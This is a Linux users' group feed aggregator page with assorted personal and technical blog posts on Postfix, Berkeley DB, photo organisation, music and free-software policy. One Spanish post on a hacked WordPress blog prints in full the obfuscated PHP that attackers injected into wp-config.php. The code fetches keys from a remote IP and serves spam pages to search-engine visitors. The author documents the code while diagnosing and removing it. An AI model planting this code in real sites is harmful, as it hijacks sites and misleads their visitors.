- atistirma (feed)
- domijor (feed)
- Envite (feed)
- goyoregalado (feed)
- jasky (feed)
- jileon (feed)
- miguev (feed)
- zoso (feed)

GRUPO DE USUARIOS DE LINUX DE CANARIASPrimero en GULiC, después en Google |
|
Agregador de noticiasFlattr: microdonations rock!Ever since I discovered Flattr I was really excited about it. Back then it was a closed beta, only-by-invitation service, and I couldn’t get hold of an invitation before they opened it to everyone. Of course I signed up, tried it out and looked for content to “flattr” right away. I think the idea is great, and I can’t really complain about the implementation either. The service feels really easy to use and understand, and there are many extensions and plugins to integrate with different tools, including the WordPress plugin I’m using. How does Flattr work then? Basically, you pay a fixed amount of money per month (you choose how much of course!), and you click “Flattr” buttons of the content you find interesting on the internet. At the end of the month, the money you paid is divided between the number of buttons you clicked, and each of those “slices” will be given to each author. You can watch the video below for a better explanation: The only downside is that the money Flattr gets for every transaction is a bit high (10%), but I really like the idea and the service and I feel it’s something I have to support. Because, as the Question Copyright folks say, “I am the content industry“. Leer una base de datos Berkeley DB Muchísimas aplicaciones utilizan bases de datos BerkeleyDB, y no hay (que yo sepa) ninguna aplicación específicamente diseñada para ver el contenido de éstas. Así que busqué un lenguaje de programación que me permitiera trabajar rápidamente con ellas y encontré que la papeleta me la resolvió PHP:error_reporting(E_ALL); $id = dba_open("file", "r", "db4"); var_dump($id); $key = dba_firstkey($id); while ($key != false) { if (true) { $handle_later[] = $key; } $key = dba_nextkey($id); } echo("\n"); foreach ($handle_later as $val) { $string=dba_fetch($val,$id); echo("$val||$string\n"); } Not a Number: our first concertIt’s kind of funny how the whole thing started. I had gone to some drum lessons and had an electronic drumkit at home… but hadn’t played that much and didn’t have anyone to play with, so I was worried that I’d lose motivation and drop drumming. So I talked to Chris because he played bass (and he liked Jazz!), we met at my place and had a mini-jam-session. But hey, only bass and drums can have only so much fun. So he proposed we looked for someone else and add some “spice” to the mix. So I sent a message to some internal company mailing list to see if there was anyone interested. And boy were they interested. Four people replied, and the best is that it was a singer, two guitar players and a piano player. So we decided to look for a place to rehearse, found the amazing Øvingshotellet and gave it a try. One of the guitar players was really put off by Jazz, so ended up being five: voice, guitar, piano, bass and drums. It was funny because I was exceptionally bad at the time (October 2009; now I’m just very bad), and had never played Jazz before. And of course Jazz is the scariest style to start with, also when you play drums. But somehow we managed to stick together and play for another week, and another, and another, and after some months someone said “we should start looking for a gig, you know? So we have a goal to focus on and all that. Otherwise this will just be fooling around”. We were a bit scared of playing in front of people because we didn’t sound that great (not that we sound that great now, but it was definitely much worse back then). Somewhere in the middle of that we decided to choose “Not a Number” as a band name (the story is longer and more complicated… and boring, so I’ll skip it). I even made a funny logo resembling another band‘s logo. And it happened: we got this opportunity to play in Opera’s 15th anniversary Summer Party last Friday, August 27th, and we went for it. Unfortunately the only recordings we have are of dubious quality, but hey, it’s what we got. And after the next-to-disaster situation we experienced right before the gig, exemplified by the comic below, it’s not such a tragedy that we didn’t end up with a proper recording. If someone had told me this “playing with Chris at my place so I don’t get bored of drums” was going to end up like this… UPDATE: It seems some people have trouble downloading or listening to Ogg files, so I’ve uploaded the recordings to SoundCloud and I’ve embedded the concert recordings down here: UPDATE 2: And now also in HTML5 (you’ll only see it if you have a modern, decent browser): Maiden Voyage:
Some Day My Prince Will Come:
High & Dry:
Autumn Leaves:
Summertime:
El que no corre vuelaY para celebrarlo, algún spammer graciosillo me metió presión para que actualizara WordPress a la última versión. ¡Pero si hacía sólo 3 años que lo actualicé por última vez, a la versión 2.0 que es la que tiene toda Internet! En fin, que no te puedes olvidar de cambiar el aceite del coche ni de actualizar WordPress con regularidad. A menos que tengas un Volkswagen Polo de los antiguos, que iban bien con aceite semi-sólido Con un poco de suerte, no se notarán más que pequeños cambios. A menos que te interesen los gory details del ataque del spammer, no sigas leyendo. El pasado miércoles por la noche, mientras me disponía a contarles otra historia, me percaté de un curioso ataque de SPAM en mi blog. Tras librarme de la sanguijuela en questión, me quedó claro que tenía que actualizar mi versión de WordPress urgentemente. Esto es lo que pasa cuando uno se lo monta por su propia cuenta, cuanto menos dependes de servicios de terceros (p.ej. wordpress.com) más dependes de tí mismo. Tener coche propio conlleva ciertas obligaciones y llevarse algún susto de vez en cuando, mientras que si alguilas el coche cuando lo necesitas te libras del mantenimiento. Los coches son más fiables que los blogs, pero por ahí van los tiros. El ataque se manifiestó del siguiente modo: hice una búsqueda (en Google, para no desvariar) que devolvía una página de mi blog. Lo primero que noté al encontrar mi entrada fue un título que no era mío:
Incrédulo, pulsé el enlace a ver a dónde me llevaba. Cuál no fue mi sorpresa al ver que aterrizo en mi propio blog, pero éste me recibe con una página que no es mía. Entre otras porquerías, esta página contenía publicidad. Aún más incrédulo, copie la dirección (que no era mía, aunque estuviera en mi blog) y la pegué en una nueva pestaña, la misma página me recibió. Pero si copiaba la dirección que sí era mía (la que me daba Google) y la pegaba en una nueva pestaña, entonces obtenía mi página auténtica. Conclusión: dos páginas diferentes en la misma dirección, dependiendo de dónde viniera. La clave estaba en la cabecera HTTP Referer que le dice al servidor de dónde vienes. Un sencillo experimento bastó para corroborar mis sospecha: $ telnet miguev.net 80 Trying 69.163.168.159... Connected to miguev.net. Escape character is '^]'. GET /2008/09/16/las-cuentas-claras/ HTTP/1.1 Host: www.miguev.net Referer: http://www.google.ch/search?sourceid=chrome&ie=UTF-8&q=gnupelas HTTP/1.1 301 Moved Permanently Date: Tue, 24 Aug 2010 20:19:47 GMT Server: Apache X-Powered-By: PHP/5.2.14 Location: /news/HOT/CHERYL-HINES/ Vary: Accept-Encoding Content-Length: 0 Content-Type: text/htmlLo que pasa aquí es que yo pido la página http://www.miguev.net/2008/09/16/las-cuentas-claras/ y recibo en su lugar una redirección a http://www.miguev.net/news/HOT/CHERYL-HINES/ que claramente no es mía. Obviando la cabecera Referer: obtengo mi página auténtica. Llegados a este punto estaba claro el modus-operandi del ataque, falta encontrar dónde se alojaba. Por suerte, no se trataba de un ataque muy sofisticado, simplemente inyectó el siguiente código en mi fichero de configuración de WordPress: define ('WPLANG', 'es_ES'); error_reporting(0);$sd="";$pts=explode("?",$_SERVER['REQUEST_URI']);$pt=$pts[0];$d1="212.117.169.139";$f1="/allmykey4.txt";$fp1=fsockopen($d1,80,$erno,$erstr,30);if(!$fp1){print "Err: $erstr [$erno]";}else{fwrite($fp1,"GET $f1 HTTP/1.0\r\n");fwrite($fp1,"Host: $d1\r\n\r\n");while(!feof($fp1)){$h1.=fread($fp1,512);}fclose($fp1);}preg_match_all("!<begin>([^<]+)<end>!",$h1,$m1);$rkk=$m1[1][rand(0,count($m1[0])-1)];$rk=explode("@",$rkk);$rd=$rk[0];$rp=$rk[1];$a=$_SERVER['HTTP_USER_AGENT'];$ra=$_SERVER['HTTP_REFERER'];if(eregi("google",$a)||eregi("Googlebot",$a)||eregi("slurp",$a)||eregi("msnbot",$a)||eregi("google.",$ra)||eregi("yahoo.",$ra)||eregi("live.",$ra)||eregi("msn.",$ra)||eregi("bing.",$ra)){$d4=$rd;if(!eregi("/news",$pt)){$f4="/news".$pt;$f4=str_replace($sd,"",$f4);}else{$f4=str_replace($sd,"",$pt);}$fp4=fsockopen($d4,80,$erno,$erstr,30);if(!$fp4){print "Err: $erstr [$erno]";}else{fwrite($fp4,"GET $f4 HTTP/1.0\r\n");fwrite($fp4,"Host: $d4\r\n\r\n");while(!feof($fp4)){$h4.=fread($fp4,512);}fclose($fp4);}$bo="<frameset rows='100%,*' noresize><frame src='http://".$d4."/".$f4."' noresize></frameset><body>";$h4=str_replace('<body>',$bo,$h4);if(eregi("<h1>Page not found, 404 error</h1>",$h4)){$ru="/".$sd.$rp;header("HTTP/1.1 301");header("Location: $ru");exit();}else{$x4=explode("\r\n",$h4);for($m=9;$m<sizeof($x4);$m++){echo $x4[$m];}exit();}} Borrando toda esa línea menos la parte del principio define ('WPLANG', 'es_ES'); quedó arreglado el asunto. Al menos, eso espero. Lo preocupante es: ¿cómo narices pudo alguien escribir en mi fichero? Por no decir que ahí está la contraseña de la base de datos, naturalmente única e inmediatamente reemplazada por otra contraseña única. El fichero tenía permisos para que todo el mundo pudiera leerlo y escribirlo, lo cual no tiene ningún sentido. O bien había un agujero en WordPress 2.0 que permitió al atacante mangonear el fichero a su antojo, o bien fui yo el que metió la pata con chmod sin darme ni cuenta El ataque duró 49 horas 07 minutos y 29 segundos, desde las 11:22:01 del 22 hasta las 12:30:32 del 24 de agosto, y afectó a 2062 peticiones HTTP, de las cuales 223 venían de navegadores que probablemente tuvieran personas detrás. Por suerte, no se trataba de la clase de ataque que se esconde en la base de datos. Aún así, prefiero considerar esta versión antigua de WordPress no de fiar e instalar la última versión desde cero. Actualizar de WordPress 2.0 a 3.0 no parece ninguna broma, en el foro te dicen que peregrines de rodillas (muy simpáticos) pero alguien ya se cansó de la peregrinación y escribió un tema que permite exportar la mayor parte del contenido en formato XML para Movable Type, que luego se puede importar de vuelta. No está mal, pero se deja atrás las páginas estáticas, así que ayer me pasé el día dándole duro a las expresiones regulares y al SQL Aproveché la ocasión para mover el blog a miguev.net/blog/ por si un día quiero tener en este dominio algo que no sea un blog, nunca se sabe Esto tenía que pasar tarde o temprano, ya pasó. De momento me puedo dar con un canto en los dientes si no se nota ningún cambio importante. He desactivado temporalmente los iconos de navegadores y la información del tiempo, cuando pueda los reactivaré, pero no tengo prisa. Si alguien nota algo más que esté roto, por favor háganmelo saber Si has notado interrupciones en el servicio, te ruego aceptes mis disculpas. Si no has notado nada y aún te preguntas a qué narices viene todo esto, me alegro mucho —de que no hayas notado nada:-) Me queda pendiente afinar las reglas de redirección con mod_rewrite, que aún no controlo bien. Gracias a Boriel, tengo lectura pendiente para eso Ahora, es viernes y son las cinco, así que me voy a celebrar este cumpleaños del blog que no quería crecer con una cerveza Sobre la posible responsabilidad de la Administración Pública en un programa desarrollado mediante un modelo libre (aspectos técnicos)El modelo de trabajo en dos fases, con repositorio a cargo de la comunidad de desarrolladores y versiones oficiales a cargo de la A. P. es fácilmente implementable en los sistemas de «forja» de código actuales, y con poca dificultad en cualquier otro que se desee. Por ejemplo, el sistema ya existe en la forja de OSOR.eu. A tal fin se distingue entre tres formas de obtener el código:
En los dos primeros casos el usuario obtiene una versión del código que se considera, a todos los efectos, como inestable o de desarrollo. En el tercero, el código obtenido se considera, a todos los efectos, código publicado por la A. P. A modo de ejemplo, véase el proyecto SEXTANTE de la Junta de Andalucía alojado en OSOR.eu que nos proporciona los tres modos:
Los casos a) y b) quedan claramente al alcance de cualquiera, pero sin embargo quien obtiene el código por dichas vías es plenamente consciente de que obtiene código no necesariamente comprobado, mientras que el caso c) es el resultado del esfuerzo consciente por parte de ciertos desarrolladores en empaquetar una versión determinada del código. De esta manera, el flujo de trabajo comienza con desarrolladores que realizan cambios en el código y añaden tales cambios al repositorio. Según la confianza que se tenga en dichos desarrolladores, podrán añadirlos directamente a la rama «tronco» del repositorio o no, pero en cualquier caso dichos cambios son parte de la base de código desde ese mismo momento. Nótese que la responsabilidad es puramente personal del desarrollador que realiza el cambio, y que no se trata necesariamente de personas responsables ante la A. P. El flujo continúa con la evaluación de dichos cambios por parte de dos grupos, los usuarios que decidan obtener esa versión del código y probarla, y con ello informar de posibles fallos o regresiones de código, y los restantes desarrolladores que decidan hacer una «revisión por iguales» del cambio y, en su caso, portarlo a otras ramas del repositorio. El siguiente paso es que uno de los desarrolladores que sí tienen la responsabilidad ante la A. P. de seleccionar el código aceptable para su publicación haga una revisión de una serie de cambios al «tronco» del repositorio y publique una nueva versión oficial del programa. Es en este punto, y solamente en éste, donde aparece la responsabilidad de la A. P. ante los usuarios. Queda el caso puntual de las versiones inestables oficiales, entendiendo por tales las versiones «candidatas para la liberación» que se publican por muchos proyectos, tanto libres como privativos. Dichas versiones son necesarias, casi imprescindibles, para probar el código antes de liberarlo, pero suelen publicarse de la misma manera que las versiones oficiales. Suelen contener una indicación clara de su estado no definitivo, como las letras 'rc' (Release Candidate) o el indicativo 'beta'. Sin embargo, el publicarlas de la misma manera que las versiones oficiales definitivas puede tomarse, con un poco de mala fe o de ineptitud, como indicativo de que se encuentras endosadas por la A. P. El caso con estas versiones es que efectivamente se trata de versiones publicadas oficialmente, ya que es código que ha sido comprobado por los desarrolladores de confianza. En ese sentido la A. P. es responsable de la publicación de una versión inestable, pero es el usuario el responsable de haber elegido esa versión para su descarga estando disponible una versión estable oficial aunque sea más antigua: ningún usuario puede aducir que descargó una versión 'rc', 'beta' o '0.x' sin saber que se trata de versiones de prueba. Para reforzar este punto, versiones tales no deben presentarse en la página principal del proyecto, pero sí en la página de versiones liberadas de la forja. No es un problema que aparezcan en la zona de noticias de la página principal del proyecto si se presentan como versiones de prueba. La diferencia presentada entre código en el repositorio y código publicado oficialmente hace posible el modelo de comunidad en el que la única normativa para ser considerado como desarrollador es haber contribuido con código válido. warning: SASL authentication problem: unable to open Berkeley db /etc/sasldb2: No such file or directory![]() Configurando la autenticación de mi servidor de correo Postfix con Cyrus SASL2 me encontré con que no funcionaba: el fichero /etc/sasldb2 estaba en su sitio y con los permisos correctos, pero no había manera.Esta página de Matthew Chapman me dio la pista de lo que pasaba (y, consecuentemente, la solución): la biblioteca Cyrus SASL2 se mete en una jaula chroot en /var/spool/postfix antes de comprobar si /etc/sasldb2 existe, y por ello aunque exista correctamente, no lo encuentra. La solución creando un enlace simbólico no funciona, ojo, porque desde dentro de la jaula chroot resulta que /etc/sasldb2 se apuntaría a si mismo. Por lo tanto, hay que copiar el fichero, o crear un enlace duro si quieres olvidarte de actualizar la copia en la jaula cada vez que cambies el original: ln /etc/sasldb2 /var/spool/postfix/etc Mover descargas entre instalaciones de aMuleTenía, en un disco duro que ya no uso para eso, un .aMule con su configuración y todo lo demás, incluido su Temp, que contiene los ficheros de las descargas parciales.
Hoy probé a mover esas descargas parciales (los ficheros *.part, *.part.met, *.part.met.bak y *.part.met.seeds, que contienen, respectivamente, los datos descargados, la información de la descarga, una copia de seguridad de ésta, y una lista de fuentes cuando son escasas. He comprobado que simplemente moviendo estos ficheros al .aMule/Temp que uso ahora, renombrando aquellos cuyo número de serie coincidía con un grupo ya existente, la cosa funciona perfectamente. Ojo, eso sí, hay que usar la misma numeración para los que tenían la misma numeración. Así, si tienes que mover 001.part, 001.part.met y 001.part.met.bak, y ya existen esos nombres en el Temp de destino, los puedes llamar 901.part, 901.part.met y 901.part.met.bak pero no 901.part, 902.part.met y 903.part.met.bak. Sobre la posible responsabilidad de la Administración Pública en un programa desarrollado mediante un modelo libreSi una Administración Pública distribuye un programa libre, tiene cierta responsabilidad con los usuarios del mismo incluso en el caso de que la propia Licencia del programa indique lo contrario, ya que, al contrario que un distribuidor cualquiera, una A. P. sí tiene una obligación legal real de velar por los receptores del programa, que son sus ciudadanos. Dicha responsabilidad puede ser mayor aún en el caso de que el usuario del programa sea la propia A. P. de modo tal que un problema en el programa suponga para aquélla la pérdida de datos de los ciudadanos o cualquier otro resultado que les perjudique.
Al mismo tiempo, crear un programa al modo de los proyectos libres implica que varias personas (los desarrolladores en quienes se tiene confianza suficiente como para permitirles acceso de escritura al repositorio), algunas de las cuales no tendrán ningún tipo de relación contractual directa ni indirecta con la A. P. que promocione el programa, podrán realizar cambios al mismo, algunos de los cuales pueden ser perjudiciales, bona fide o maliciosamente. Parece entonces que llegamos al dilema cruel de que una A. P. debe renunciar a liberar un programa y desarrollarlo a través de una comunidad o aceptar la responsabilidad de un programa que no se encuentra bajo su control. Sin embargo, se trata de un falso dilema, ya que hay un paso intermedio entre el desarrollo y la publicación, que es el punto en el que la A. P. puede intervenir a fin de controlar el proceso conforme a su responsabilidad sin correr el riesgo de molestar a la comunidad de desarrolladores con injerencias. Dicho punto es la liberación de versiones oficiales del programa. El flujo de trabajo correcto para bordear adecuadamente el problema es:
De este modo, los usuarios que lo deseen pueden obtener las versiones de desarrollo del código, lo cual es imprescindible para la detección de fallos en el mismo y su mejora, sin responsabilidad para la A. P., y ésta puede proporcionar versiones oficiales que hayan pasado el filtro de los desarrolladores contratados, con plena responsabilidad. Es conveniente, pero no necesario, que la distinción entre estas dos maneras de proporcionar el código sea patente en la interfaz web del repositorio de código, con una mención del tipo «[La A. P.] no se hace responsable de los posibles fallos de estas versiones de desarrollo y niega toda responsabilidad sobre el mismo. Si no es usted un usuario avanzado, por favor utilice las versiones oficiales que puede encontrar en [sitio web].». Ante un problema real que se produzca como consecuencia del uso del código, la estrategia de defensa de la A. P. debe variar en función de que dicho fallo se produzca en un código obtenido del repositorio o en un programa de la distribución oficial. En el primer caso, la A. P. debe negar toda responsabilidad, indicando que el usuario sabía lo que hacía al descargar una versión de desarrollo, e indicando que el usuario asumió toda la responsabilidad al usar la interfaz web del repositorio de desarrollo del código (si lo hizo así) o indicando que el usuario era plenamente consciente del peligro de utilizar una versión de desarrollo, ya que es inconcebible que un usuario lo suficientemente avanzado como para utilizar el repositorio sin usar su interfaz web no lo sea. En el segundo caso, la A. P. debe aceptar la plena responsabilidad por el perjuicio causado, ya que es, al menos, responsable civil subsidiario, pero al mismo tiempo debe averiguar qué desarrollador aceptó el cambio en el código que causó el problema e iniciar las acciones penales y, en su caso, disciplinarias adecuadas, ya que sin duda se trata de uno de los «desarrolladores de confianza» plenamente identificados por ser funcionarios, contratados por la A. P. o contratados por una empresa contratada a tal fin por la A. P. Review: iRiver SpinnLast time I travelled by train I was dumb enough to leave my portable music player behind. I tried calling the Lost + Found office, where much more expensive and fancy items had been collected, to no avail. So the search for a new player began. My basic requirement was that it must play Ogg Vorbis, and ideally also Flac, apart from MP3. I didn’t want to spend a lot of time comparing and looking for the ideal player, and of course I didn’t want it to be very expensive, but I didn’t really have more requirements that the music formats. Long story short, I ended up buying an iRiver Spinn. One of the reasons was that it was relatively cheap, and another reason was that I thought it was nice supporting iRiver, to my knowledge the first company that really cared about Ogg Vorbis as a format for portable music players, many years ago. I have to say I’m disappointed with it. While I don’t have such strong feelings about music players and it’s not like I’m not going to use it, there are a number of things that were (negatively) surprising or didn’t meet my expectations:
In summary, I’m not going to throw it away or anything, but I’m disappointed with the iRiver Spinn. When I stop using it, I’m going to consider stop using those altogether and just start using my phone for listening to music. It might turn out to be cheaper, more practical and less disappointing. Usuario que reparte el correo Me ha costado un buen rato ver qué pasaba, pero lo he conseguido.Tengo una máquina que recibe mi correo electrónico, y estaba tratando de configurar el servicio en una máquina nueva. Utilizo Postfix, y tiene la sana costumbre de que el usuario que reparte el correo, es decir, el usuario que el proceso local utiliza para escribir en los buzones, es el usuario nobody. Pero yo necesitaba que fuera el usuario mail, ya que utilizo directorios Maildir, por fiabilidad. Me ha costado averiguar cómo hacerlo (estoy desentrenado), pero finalmente lo he conseguido: basta con añadir la línea default_privs = mail al fichero /etc/postfix/main.cf. From pseudo-code to codeThis post is probably not about what you’re thinking. It’s actually about automated testing. Different stuff I’ve been reading or otherwise been exposed to in the last weeks has made me reach a sort of funny comparison: code is (or can be) like science. You come up with some “theory” (your code) that explains something (solves a problem)… and you make sure you can measure it and test it for people to believe your theory and build on top of it. I mean, something claiming to be science that can’t be easily measured, compared or peer-reviewed would be ridiculous. Scientists wouldn’t believe in it and would certainly not build anything on top of it because the foundation is not reliable. I claim that software should be the same way, and thus it’s ridiculous to trust software that doesn’t have a good test suite, or even worse, that may not even be particularly testable. Trusting software without a test suite is not that different from taking the word of the developer that it “works on my machine”. Scientists would call untested science pseudo-science, so I am tempted to call code without tests pseudo-code. Don’t get me wrong: sure you can test by hand, and hand-made tests are useful and necessary, but that only proves that the exact code you tested, without any changes, works as expected. But you know what? Software changes all the time, so that’s not a great help. If you don’t have a way to quickly and reliably measure how your code behaves, every time you make a change you are taking a leap of faith. And the more leaps of faith you take, the less credible your code is. El Monstruo se acerca. ¿Estás preparado?Por fin hemos publicado el corto de El Monstruo del Sebadal en Internet. El retraso se ha debido, principalmente, al efecto multiplicador y recursivo de la frase "¿ah, pero no está en Internet todavía? ¿Quién era el que tenía que subirlo?". Al final, tras agotadoras pesquisas, se ha encontrado al culpable ... ¡Y resulta que era yo! Después de luchar un poco con Vimeo, aquí tienen el corto, en toda su gloria 2D: El Monstruo del Sebadal from Nipapipas Films on Vimeo. También pueden verlo en formato episódico, a la manera de los antiguos seriales, gracias sobre todo a la limitación de duración de YouTube, en el canal de la criatura: http://www.youtube.com/monstruosebadal Hemos aprovechado esta partición para poder presentar los distintos episodios al concurso Canarias Rueda, básicamente para poder echarnos unas risas. Si ya el corto respiraba un cierto aire absurdo, el episodio IV*, visto de forma aislada, es completamente surrealista**. * Titulado, informálmente, "Una vuelta por La Esperanza" ** A tono con la política en Canarias. Un sitio para cada cosaY solamente uno, de forma que siempre sepas dónde debería estar cada cosa. Sólo entonces se puede poner cada cosa en su sitio. Cuando se trata de mantener el orden en una colección de fotos, esta unicidad no es tan fácil de garantizar como parece. En un extremo, existe lo que en matemáticas llamaríamos la solución trivial: Están todas las fotos en una carpeta, no necesito más. Claramente, una solución mucho mejor que tener las fotos repartidas por varias carpetas en distintos sitios. Esto es no complicarse la vida y lo demás son tonterías Conociéndome, pueden imaginar que mi lugar está en el otro extremo Para empezar, tener todas las fotas en (exactamente en, no debajo de) una única carpeta presenta varios problemas:
Hace años que tengo mis (veinte mil) fotos organizadas en carpetas, pero no fue hasta hace unos días que decidí establecer una estructura consistente a estas carpetas. Puede que no exista una solución perfecta (la demostración queda como ejercicio para el lector) pero yo me conformo con dar un pasito, una iteración, hacia una solución un poco mejor Aunque me centraré en las fotos, lo mismo se aplica también para los vídeos, que no son más que un chorizo muy largo de fotos seguidas Darle un nombre único a cada foto es relativamente sencillo. La mayoría de cámaras digitales incluyen un número de secuencia en los nombres de los ficheros que producen. Si tienes más de una cámara del mismo fabricante, podría pasar que los nombres se repitan entre ellas, pero eso se arregla fácilmente cambiando la parte constante del nombre para que refleje de qué camara viene el fichero. Por ejemplo, las fotos de mi vieja Nikon Coolpix 2200 llevan el prefijo c22_, las de mi vieja Nikon Coolpix 8400 llevan el prefijo c84_, las de la Nikon D80 llevan el prefijo d80_, las de la Nikon D90 llevan el prefijo d90_, etc. Asegurándote de que la cámara no resetee el contador —salvo que agote los 4 digítos al llegar a las 10.000 fotos, en cuyo caso añades un 1 delante y relajas el dedo Si tienes fotos de película, numera los carretes y combina ese número con el de fotograma. Y disfruta mientras tengas un laboratorio a mano Si tienes fotos de un móvil que pone la fecha y la hora en el nombre del fichero, las puedes dejar así si no te molesta. Si el móvil hace eso, difícilmente tendrás dos fotos del mismo segundo Si ya estás pensando menudo rollo, todo eso no hace falta es probable que no tengas muchas fotos ni muy antiguas. Mira lo fácil que es llegar al punto donde esto se hace necesario: entre mis 18.268 (muy pocas anteriores a 2003) tengo 761 repetidas, 391 de ellas más de dos veces. Un ejemplo: La primera salió de la Nikon D80 de mi padre, la segunda de mi Nikon D80. Casos así, más de mil. Podría ser mucho, mucho peor. De hecho, lo fué. Pero bueno, esto es fácil. Cada foto tiene una unicidad muy clara en el tiempo, the moment it clicks (y la cámara que hace click). Sólo hay que ponerse. Un sitio (único) para cada cosaEsto es un poco más complicado. A menos que prefieras ordenar tus carpetas por fechas, la unicidad no es tan obvia. ¿Y por qué no ordenas tus carpetas por fechas y ya está? Por varios motivos. Esto es una decisión personal y, para mi sorpresa, la mayoría de la gente que respondió a una breve encuesta a mi alrededor decían ser felices con carpetas basadas en años, meses y eventos. Una organización sin duda fácil de mantener, pero a mí no me va bien porque:
De hecho, mi primera estructura de carpetas para organizar fotos se basaba en fechas. Pronto me quedó claro que así no iba a encontrar las fotos cuando las necesitara. Sobretodo en aquella época (2003-2004) en que desconocía la existencia de las etiquetas IPTC. Qué tiempos aquellos ¿Y si no usas fechas, cómo ordenas las fotos en carpetas? Ésa, ésa, es la pregunta correcta. No hay una respuesta única, pero parece que una buena idea es clasificar las fotos por el motivo que te llevó a disparar. Este motivo podría ser un evento, un lugar, una persona, una cosa… ¿algo más? Los eventos son fáciles de clasificar porque tienen una posición bien definida en el tiempo y el espacio, p.ej. el 19 de mayo de 2010 en el Moscone Conference Centre de San Francisco. Los lugares parecen fáciles de clasificar: de viaje y en casa… hasta que uno de esos destinos de viaje se convierte en casa. No sería la primera vez Las personas también parecen fáciles de clasificar, p.ej. familia, amigos, compañeros de clase, de trabajo, de grupo social A o B. Hasta que un compañero de clase o de trabajo (¡o de ambos!) se convierte en amigo, o una amiga se convierte en familia, o un amigo se convierte en compañero de trabajo… situaciones que también he vivido en los últimos años. It’s complicated Y las cosas ya son un jaleo, así que mejor no clasificaré muchas. Por el momento he encontrado una clase de cosas que me hace generar fotos más que el resto: las aficiones. Si tienes muchas fotos de ciertas cosas en concreto, p.ej. comidas (recetas de cocina) es probable que la razón para ello sea que te gusta cocinar, se puede considerar una afición. Si no cocinas pero aún así tienes muchas fotos de comida, será que te gusta comer También podría darse el caso de que hicieras las fotos por encargo, en cuyo caso podrían clasificarse como trabajos o al menos encargos. El problema es que siempre queda un resto, fotos que haces porque sí, sin un motivo fuertemente definido, o que no pertenencen a un grupo suficientemente numeroso para merecer una carpeta propia. Para esas, después de mucho pensarlo, decidí usar la característica que menos me cuesta recordar de cada foto: el lugar. En esta cruzada contra el Caos he pasado a tener menos carpetas, pero más convenientes:
Para todo lo demás: Location. Location. Location. (Carpeta Sitios). De hecho, Eventos, Viajes, Videos y Senderismo están ordenadas también por lugares. Finalmente, todo cobra sentido: los nombres de ficheros me dicen cuándo hice cada foto, las carpetas me dicen dónde. Así cuando quiera encontrar una foto en mi disco duro, sólo tengo que recordar por qué la hice y dónde, mucho más fácil para mí que recordar cuándo Un ejemplo claro de lo fácil que me resulta recordar dónde hice las fotos y lo difícil que me resulta recordar cuándo: el temporal “Delta” que azotó Canarias el 29 de noviembre de 2005. Hace apenas cinco años y aún tengo que consultar la fecha, a pesar de que viví el temporal. Sin embargo, no me costó mucho recordar el recorrido que hice con la cámara al día siguiente y localizar todas aquellas fotos: Cuando hice aquellas fotos, eso de geotagear debía ser ciencia-ficción Las carpetas tienen dos limitaciones importantes, impuestas por los sistemas de ficheros, que las limitan como mecanismo de clasificación: (a) toda carpeta debe estar dentro de otra (pero sólo una) y (b) cada fichero debe estar en una (única) carpeta. Cuando sacas las fotos del disco duro, p.ej. subiéndolas a Flickr, estas restricciones desaparecen pero aparecen otras, que ahora dependen de la plataforma concreta que hayas elegido para alojar las fotos. Estas diferencias plantean otro problema: cómo mantener organizaciones diferentes pero coherentes, cada una dentro de las restricciones de la plataforma correspondiente. Un ejemplo de esto es Flickr, que sólo permite organizar las fotos en conjuntos y colecciones. Cada foto puede estar en cualquier número de conjuntos, incluso ninguno. Cada conjunto puede estar en cualquier número de colecciones, incluso ninguna. Sin embargo, ningún conjunto puede contener a otro y ninguna colección puede contener a otra. Flickr también permite añadir etiquetas y gente a las fotos, ambas funciones muy útiles a la hora de encontrar cada foto cuando la necesitas. Aprovecho la ocasión para saludar a mi familia, mis amigos en Tenerife, a mis compañeros del club Montañeros de Nivaria, a mis compañeros del GULIC, a mis compañeros de la ETSII, a los Spaniards en Dublín y a cualquiera que (ya no pregunto cómo) haya cruzado disparos (fotos) conmigo. Si sospechas que tengo fotos en las que sales tú y quieres verlas, hazte una cuenta en Flickr (si aún no tienes una) y añádeme a tus contactos. Si tienes fotos en las que salgo yo, por muy viejas que sean, te agradecería que las compartieras conmigo en Flickr, Picasa, Facebook o donde te venga bien Volviendo a lo que nos ocupa (¡pero iba en serio!), voy a esbozar una aproximación al problema de comprimir el árbol de carpetas en sólo dos niveles (colecciones y conjuntos). Las colecciones pueden empezar siendo las carpetas del nivel superior: Aficiones, Eventos, Gente, Viajes, etc. Algunas carpetas de segundo nivel reclamarán su propia colección (p.ej. Gente/Familia), mientras que algunas carpetas de primer nivel podrían no merecerla (p.ej. Selecciones). La carpeta Sitios probablemente tampoco merezca una colección, pero sus hijas (Tenerife, Dublin, Suiza) sí. Eso aún esta por ver (en mi caso) ya que depende de cuántas fotos acaben en esa carpeta, pero es de esperar que, tratándose de mis lugares de residencia, tengan suficiente contenido para tener una colección por cada lugar donde he vivido. Decidir qué colecciones montar es fácil, lo difícil es decidir los conjuntos Puedes empezar por aplicar las mismas reglas desde el otro extremo del árbol de carpetas. Algunas (tal vez muchas) de las carpetas que no tienen ninguna dentro (carpetas hoja al final del árbol) merecerán un conjunto. A veces, cuando éstas no tienen muchas fotos son un poco específicas de más, puede ser más conveniente agregarlas en un conjunto común. Por ejemplo, mi conjunto St. Patrick’s Day contiene fotos de cuatro carpetas, cada una de ellas demasiado específica para merecer su propio conjunto: Events/Ireland/Dublin/St.Patrick's.Day.2007 Events/Ireland/Dublin/St.Patrick's.Day.2008 People/Spaniards/St.Patrick's.Day.2007 People/Spaniards/St.Patrick's.Day.2008Nota: los nombres de mis carpetas tienden a estar en inglés por varios motivos, entre ellos evitar las tildes, eñes y similares. Teniendo un criterio para podar el árbol de forma más o menos consistente, lo ideal sería tener un mapa que describa qué carpetas incluye cada conjunto. Un ejemplo de esta organización, el único que doy por terminado ahora mismo, es mi colección de Eventos. La descripción de esta colección refleja también la estructura en carpetas en mis discos locales. Otro problema, que no existe con las carpetas en discos duros, es cómo ordenar los conjuntos dentro de cada colección. En este caso van por orden cronológico porque así suceden los eventos, son cosas que pasan y yo no puedo estar en dos al mismo tiempo. Pero no siempre será tan fácil. Eventos es la primera carpeta de mi colleción (por orden alfabético) y también una de las que menos fotos contiene, al menos del 8% del total. Ha sido fácil, gracias a que los eventos tienen un lugar y momento bien determinados, pero había fotos tan viejas que han necesitado algo de cirujía en el EXIF. Una semana para el 8% más fácil… no me queda nada Menos mal que las fotos de Viajes no van a necesitar muchos cambios Ya tengo ordenadas (y subidas a Flickr) todas mis fotos de Eventos y Aficiones, ha llevado tiempo pero no ha presentado decisiones difíciles. El gran dilema me lo han plantado las fotos 